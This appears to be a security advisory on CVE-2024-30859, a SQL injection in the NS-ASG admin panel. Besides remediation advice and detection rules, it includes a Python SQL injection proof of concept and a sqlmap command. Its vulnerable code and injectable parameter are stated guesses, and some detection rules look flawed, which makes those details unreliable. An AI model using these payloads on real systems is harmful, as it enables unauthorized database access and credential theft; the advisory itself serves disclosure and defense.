CVE-2024-30859

Executive Summary

CVE-2024-30859 is a critical SQL Injection vulnerability discovered in the Netentsec NS-ASG application version 6.3. The flaw resides in the /admin/config_ISCGroupSSLCert.php endpoint, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation can lead to unauthorized data access, credential theft, and potential full compromise of the application database. No official patch has been released by the vendor, and the vulnerability is publicly documented with proof-of-concept code available.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone web application vulnerability in the Netentsec NS-ASG product.

CVSS Breakdown & Threat Level

The CVSS score is currently unassigned (0.0) by NVD. Based on the nature of the vulnerability (unauthenticated SQL injection), a reasonable CVSS v3.1 vector would be:

• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Impact: Complete confidentiality, integrity, and availability loss of the database.

Deep Dive & Mechanics

The vulnerability exists in the config_ISCGroupSSLCert.php script within the admin panel of NS-ASG 6.3. The application fails to sanitize user-supplied input passed to SQL queries. An attacker can manipulate parameters (likely id or similar) to break out of the intended SQL statement and execute arbitrary commands.

Root Cause: Lack of parameterized queries or input validation in the PHP code handling the SSL certificate configuration for ISC groups.

Attack Vector: HTTP GET or POST request to /admin/config_ISCGroupSSLCert.php with a malicious SQL payload in a parameter.

Impact: Full database dump, authentication bypass, and potential remote code execution if the database user has file write privileges.

Vulnerable vs. Patched Code

Vulnerable Code (NS-ASG 6.3):

// config_ISCGroupSSLCert.php (simplified)
$id = $_GET['id'];
$query = "SELECT * FROM isc_group_ssl_cert WHERE id = $id";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM isc_group_ssl_cert WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();

No official patch exists. The vendor has not released a fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Netentsec NS-ASG 6.3
• Network access to the admin panel (default port 80/443)

Exploit Steps:

1. Identify the vulnerable endpoint: /admin/config_ISCGroupSSLCert.php
2. Inject SQL payload via the id parameter.

Proof-of-Concept (Python):

import requests

target = "http://target.com/admin/config_ISCGroupSSLCert.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -"

r = requests.get(f"{target}?id={payload}")
print(r.text)

Manual SQLMap:

sqlmap -u "http://target.com/admin/config_ISCGroupSSLCert.php?id=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests to /admin/config_ISCGroupSSLCert.php.
• Look for unusual characters: ', ", --, UNION, SELECT, OR 1=1.

Mitigation:

• Immediately restrict access to the admin panel via firewall rules (allow only trusted IPs).
• Deploy a Web Application Firewall (WAF) with SQL injection rules.
• If possible, disable the vulnerable endpoint or apply a virtual patch.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/config_ISCGroupSSLCert.php with SQL keywords in parameters.
• Outbound database connections from the web server to unknown IPs (data exfiltration).

File IOCs:

• Suspicious log entries in /var/log/httpd/access_log or similar containing SQL injection patterns.
• Unexpected files in the web root (e.g., .sql dumps, webshells).

System IOCs:

• Unusual database queries (e.g., SELECT * FROM mysql.user).
• New user accounts or modified privileges in the application database.

Detection Engineering

YARA Rule

rule CVE_2024_30859_SQLi_NSASG {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-30859 in Netentsec NS-ASG"
        author = "Valters IT"
        date = "2024-05-01"
        reference = "CVE-2024-30859"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "OR 1=1" nocase
        $sqli3 = "admin/config_ISCGroupSSLCert.php" nocase
    condition:
        any of ($sqli*) and $sqli3
}

Sigma Rule

title: CVE-2024-30859 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Netentsec NS-ASG config_ISCGroupSSLCert.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'admin/config_ISCGroupSSLCert.php'
        cs-uri-query|contains|all:
            - 'id='
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30859 SQL Injection Attempt"; flow:to_server,established; content:"/admin/config_ISCGroupSSLCert.php"; http_uri; content:"id="; http_uri; pcre:"/(\bUNION\b|\bSELECT\b|\bOR\b|\bAND\b|\b--\b)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the NS-ASG server from the internet if possible.
2. Apply virtual patching via WAF (e.g., ModSecurity rule to block SQLi patterns on the vulnerable endpoint).
3. Restrict access to /admin/ directory using IP whitelisting or VPN.

Long-term Fix:

• Since no vendor patch exists, consider migrating to an alternative solution or rewriting the vulnerable code with parameterized queries.
• Contact Netentsec for an official patch or EOL notice.

Compensating Controls:

• Enable detailed logging and monitoring for the web server.
• Implement database activity monitoring to detect anomalous queries.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert